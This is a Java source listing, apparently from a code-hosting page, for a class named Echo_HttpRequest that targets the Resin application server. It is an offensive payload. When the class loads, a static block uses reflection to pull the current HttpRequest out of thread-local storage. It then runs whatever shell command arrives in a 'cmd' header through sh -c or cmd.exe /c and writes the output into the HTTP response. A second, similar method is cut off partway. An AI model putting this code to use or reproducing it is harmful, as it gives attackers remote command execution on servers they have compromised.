resin 回显 1.线程对象中request 2.request对象存储在静态变量或者特定类里
| 14 | * 2.request对象存储在静态变量或者特定类里 |
| 15 | */ |
| 16 | public class Echo_HttpRequest { |
| 17 | static { |
| 18 | try { |
| 19 | getResponse(); |
| 20 | } catch (Exception e) { |
| 21 | e.printStackTrace(); |
| 22 | } |
| 23 | } |
| 24 | //线程对象中request |
| 25 | public static void getResponse() throws Exception { |
| 26 | Thread thread = Thread.currentThread(); |
| 27 | java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals"); |
| 28 | threadLocals.setAccessible(true); |
| 29 | Object threadLocalMap = threadLocals.get(thread); |
| 30 | |
| 31 | Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); |
| 32 | java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table"); |
| 33 | tableField.setAccessible(true); |
| 34 | Object[] objects = (Object[]) tableField.get(threadLocalMap); |
| 35 | |
| 36 | Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); |
| 37 | java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value"); |
| 38 | entryValueField.setAccessible(true); |
| 39 | |
| 40 | for (Object object : objects) { |
| 41 | if (object != null) { |
| 42 | Object valueObject = entryValueField.get(object); |
| 43 | if (valueObject != null) { |
| 44 | if (valueObject.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { |
| 45 | com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)valueObject; |
| 46 | //执行命令 |
| 47 | String cmd1 = httpRequest.getHeader("cmd"); |
| 48 | String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1}; |
| 49 | java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| 50 | java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a"); |
| 51 | String output = s.hasNext() ? s.next() : ""; |
| 52 | //response |
| 53 | com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); |
| 54 | httpResponse.setHeader("Content-Length", output.length() + ""); |
| 55 | java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream"); |
| 56 | method.setAccessible(true); |
| 57 | com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse); |
| 58 | httpResponseStream.write(output.getBytes(), 0, output.length()); |
| 59 | httpResponseStream.close(); |
| 60 | } |
| 61 | } |
| 62 | } |
| 63 | } |
| 64 | } |
| 65 | |
| 66 | //request对象存储在静态变量或者特定类里 |
| 67 | public static void getResponse2() throws Exception { |
| 68 | Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink"); |
| 69 | java.lang.reflect.Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest"); |
| 70 | Object currentRequest = getCurrentRequestM.invoke(null); |
| 71 | java.lang.reflect.Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade"); |
| 72 | f.setAccessible(true); |
| 73 | Object response = f.get(currentRequest); |
nothing calls this directly
no test coverage detected